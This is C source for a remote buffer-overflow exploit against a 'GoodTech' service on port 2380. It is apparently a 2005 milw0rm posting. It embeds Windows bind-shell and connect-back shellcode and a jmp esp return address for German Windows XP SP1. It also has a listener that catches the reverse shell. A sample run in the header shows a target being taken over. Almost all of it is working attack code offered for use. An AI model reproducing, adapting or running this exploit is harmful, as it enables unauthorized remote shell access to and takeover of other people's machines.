/* * * cybertronic[at]gmx[dot]net * * offset fixed! * * [ cybertronic @ GoodTech ] $ gcc -o goodtech_expl goodtech_expl.c * [ cybertronic @ GoodTech ] $ ./goodtech_expl * * Usage * ----- * [ Bindshell ] ./goodtech_expl * [ Reverseshell ] ./goodtech_expl * * [ cybertronic @ GoodTech ] $ ./goodtech_expl 192.168.2.103 * * __ __ _ * _______ __/ /_ ___ _____/ /__________ ____ (_)____ * / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/ * / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ * \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/ * /____/ * * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net * --[ connecting to 192.168.2.103:2380...done! * --[ jmp esp -> 0x71a17bfb [ws2_32.dll WinXP SP1 GER] * --[ sending packet [ 10045 bytes ]...done! * --[ sleeping 5 seconds before connecting to 192.168.2.103:4444... * --[ connecting to 192.168.2.103:4444...done! * --[ b0x pwned - h4ve phun * Microsoft Windows XP [Version 5.1.2600] * (C) Copyright 1985-2001 Microsoft Corp. * * C:\telnetnt> * * */ #include #include #include #include /* * * definitions * */ #define PORT 2380 #define RED "\E[31m\E[1m" #define GREEN "\E[32m\E[1m" #define YELLOW "\E[33m\E[1m" #define BLUE "\E[34m\E[1m" #define NORMAL "\E[m" /* * * prototypes * */ int exploit ( int s, unsigned long ip, unsigned short cbport, int option ); int shell ( int s, char* tip, unsigned short cbport ); void connect_to_bindshell ( char* tip, unsigned short bport ); void header (); void wait ( int sec ); void start_reverse_handler ( char* argv3 ); /********************* * Windows Shellcode * *********************/ /* * Type : bind shellcode * Length: 500 bytes * Port : 4444 / 0x115c * */ unsigned char bindshell[] = "\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff\xff\xff\x81\x36\x80\xbf\x32" "\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff" "\x03\x53\x06\x1f\x74\x57\x75\x95\x80\xbf\xbb\x92\x7f\x89\x5a\x1a" "\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09\xf9\x3a\x6b\xb6\xd7\x9f\x4d" "\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6\xb3\x5a\xf8\xec\xbf\x32\xfc" "\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf\xeb\xcd\xc2\x88\x36\x74\x90" "\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad\xbe\x32\x94\x09\xf9\x22\x6b" "\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81\xbf\x32\x1d\xc6\xab\xcd\xe2" "\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81\xbf\x32\x1d\xc6\xa7\xcd\xe2" "\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80\xbf\x32\x1d\xc6\xa3\xcd\xe2" "\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80\xbf\x32\x1d\xc6\x9f\xcd\xe2" "\x84\xd7\x96\x39\xae\x56\xda\x4a\x80\xbf\x32\x1d\xc6\x9b\xcd\xe2" "\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80\xbf\x32\x1d\xc6\x97\xcd\xe2" "\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80\xbf\x32\x1d\xc6\x93\x01\x6b" "\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81\xbe\x32\x94\x7f\xe9\x2a\xc4" "\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6\xa3\xb9\x4c\xd7\xe8\x5a\x96" "\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3\x40\x64\xb4\xd7\xec\xcd\xc2" "\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50\xd7\x57\xec\xe5\xbf\x5a\xf7" "\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4\x32\x0e\xb0\xb3\x7f\x01\x5d" "\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4\xaf\x76\x6a\xc4\x9b\x0f\x1d" "\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4\x9b\x62\x19\xc4\x9b\x22\xc0" "\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f\xc9\x02\xc5\x7f\xe9\x22\x1f" "\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b\x77\x65\x6b\xd6\x93\xcd\xc2" "\x94\xea\x64\xf0\x21\x8f\x32\x94\x80\x3a\xf2\xec\x8c\x34\x72\x98" "\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89\x34\x72\xa0\x0b\x17\x8a\x94" "\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80\xec\x67\xc2\xd7\x34\x5e\xb0" "\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83\x6a\xb9\xde\x98\x34\x68\xb4" "\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83\x4a\x01\x6b\x7c\x8c\xf2\x38" "\xba\x7b\x46\x93\x41\x70\x3f\x97\x78\x54\xc0\xaf\xfc\x9b\x26\xe1" "\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c\xf4\xb9\xce\x9c\xbc\xef\x1f" "\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b\x6a\x6d\xca\xdd\xe4\xf0\x90" "\x80\x2f\xa2\x04"; /* * Type : connect back shellcode * Length: 316 bytes * CBIP : reverseshell[111] ( ^ 0x99999999 ) * CBPort: reverseshell[118] ( ^ 0x9999 ) * */ unsigned char reverseshell[] = "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9" "\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3" "\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE" "\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99" "\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF" "\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6" "\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF" "\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD" "\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD" "\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD" "\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66" "\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66" "\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB" "\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3" "\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3" "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D" "\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75" "\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2" "\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0"; /* * * functions * */ int exploit ( int s, unsigned long xoredip, unsigned short xoredcbport, int option ) { char buffer[10046]; printf ( "--[ jmp esp -> 0x71a17bfb [ws2_32.dll WinXP SP1 GER]\n" ); if ( option == 0 ) { memcpy ( &reverseshell[111], &xoredip, 4); memcpy ( &reverseshell[118], &xoredcbport, 2); bzero ( &buffer, sizeof ( buffer ) ); memset ( buffer, 0x41, 10032 ); memcpy ( buffer + 46, "\x81\xc4\x54\xf2\xff\xff", 6 ); memcpy ( buffer + 52, reverseshell, sizeof ( reverseshell ) - 1 ); strcat ( buffer, "\xfb\x7b\xa1\x71" ); // jmp esp ws2_32.dll WinXP SP1 GER strncat ( buffer, "\xe9\xf0\xd8\xff\xff", 5 ); // jmp -10000 strcat ( buffer, "\r\n\r\n"); } else { bzero ( &buffer, sizeof ( buffer ) ); memset ( buffer, 0x41, 10032 ); memcpy ( buffer + 46, "\x81\xc4\x54\xf2\xff\xff", 6 ); memcpy ( buffer + 52, bindshell, sizeof ( bindshell ) - 1 ); strcat ( buffer, "\xfb\x7b\xa1\x71" ); // jmp esp ws2_32.dll WinXP SP1 GER strncat ( buffer, "\xe9\xf0\xd8\xff\xff", 5 ); // jmp -10000 strcat ( buffer, "\r\n\r\n"); } printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) ); if ( write ( s, buffer, strlen ( buffer ) ) <= 0 ) { printf ( RED "failed!\n" NORMAL); return ( 1 ); } printf ( YELLOW "done!\n" NORMAL); sleep ( 1 ); close ( s ); return ( 0 ); } int shell ( int s, char* tip, unsigned short cbport ) { int n; char buffer[2048]; fd_set fd_read; printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" ); FD_ZERO ( &fd_read ); FD_SET ( s, &fd_read ); FD_SET ( 0, &fd_read ); while ( 1 ) { FD_SET ( s, &fd_read ); FD_SET ( 0, &fd_read ); if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 ) break; if ( FD_ISSET ( s, &fd_read ) ) { if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 ) { printf ( "bye bye...\n" ); return; } if ( write ( 1, buffer, n ) < 0 ) { printf ( "bye bye...\n" ); return; } } if ( FD_ISSET ( 0, &fd_read ) ) { if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 ) { printf ( "bye bye...\n" ); return; } if ( send ( s, buffer, n, 0 ) < 0 ) { printf ( "bye bye...\n" ); return; } } usleep(10); } } void connect_to_bindshell ( char* tip, unsigned short bport ) { int s; int sec = 5; // change this for fast targets struct sockaddr_in remote_addr; struct hostent *host_addr; if ( ( host_addr = gethostbyname ( tip ) ) == NULL ) { fprintf ( stderr, "cannot resolve \"%s\"\n", tip ); exit ( 1 ); } remote_addr.sin_family = AF_INET; remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr ); remote_addr.sin_port = htons ( bport ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 ) { printf ( "socket failed!\n" ); exit ( 1 ); } printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport ); wait ( sec ); printf ( "--[ connecting to %s:%u...", tip, bport ); if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( RED "failed!\n" NORMAL); exit ( 1 ); } printf ( YELLOW "done!\n" NORMAL); shell ( s, tip, bport ); } void header () { printf ( " __ __ _ \n" ); printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" ); printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" ); printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" ); printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" ); printf ( " /____/ \n\n" ); printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" ); } void start_reverse_handler ( char* argv3 ) { int s1, s2; unsigned short cbport; struct sockaddr_in cliaddr, servaddr; socklen_t clilen = sizeof ( cliaddr ); sscanf ( argv3, "%u", &cbport ); bzero ( &servaddr, sizeof ( servaddr ) ); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl ( INADDR_ANY ); servaddr.sin_port = htons ( cbport ); printf ( "--[ starting reverse handler [port: %u]...", cbport ); if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 ) { printf ( "socket failed!\n" ); exit ( 1 ); } bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) ); if ( listen ( s1, 1 ) == -1 ) { printf ( "listen failed!\n" ); exit ( 1 ); } printf ( YELLOW "done!\n" NORMAL); if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 ) { printf ( "accept failed!\n" ); exit ( 1 ); } close ( s1 ); printf ( "--[ incomming connection from:\t" YELLOW " %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) ); shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport ); close ( s2 ); } void wait ( int sec ) { sleep ( sec ); } int main ( int argc, char* argv[] ) { int s; unsigned long xoredip; unsigned short xoredcbport; struct sockaddr_in remote_addr; struct hostent *host_addr; if ( argc != 2 ) if ( argc != 4 ) { fprintf ( stderr, "\nUsage\n-----\n[ Bindshell ] %s \n[ Reverseshell ] %s \n\n", argv[0], argv[0] ); exit ( 1 ); } if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL ) { fprintf ( stderr, "cannot resolve \"%s\"\n", argv[1] ); exit ( 1 ); } remote_addr.sin_family = AF_INET; remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr ); remote_addr.sin_port = htons ( PORT ); system ( "clear" ); header (); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 ) { printf ( "socket failed!\n" ); exit ( 1 ); } printf ( "--[ connecting to %s:%u...", argv[1], PORT ); if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( "failed!\n" ); exit ( 1 ); } printf ( YELLOW "done!\n" NORMAL); if ( argc == 4 ) { xoredip = inet_addr ( argv[2] ) ^ ( unsigned long ) 0x99999999; xoredcbport = htons ( atoi ( argv[3] ) ) ^ ( unsigned short ) 0x9999; if ( exploit ( s, xoredip, xoredcbport, 0 ) == 1 ) { printf ( "exploitation FAILED!\n" ); exit ( 1 ); } start_reverse_handler ( argv[3] ); } else { if ( exploit ( s, ( unsigned long ) NULL, ( unsigned short ) NULL, 1 ) == 1 ) { printf ( "exploitation FAILED!\n" ); exit ( 1 ); } connect_to_bindshell ( argv[1], 4444 ); } } // milw0rm.com [2005-04-24]

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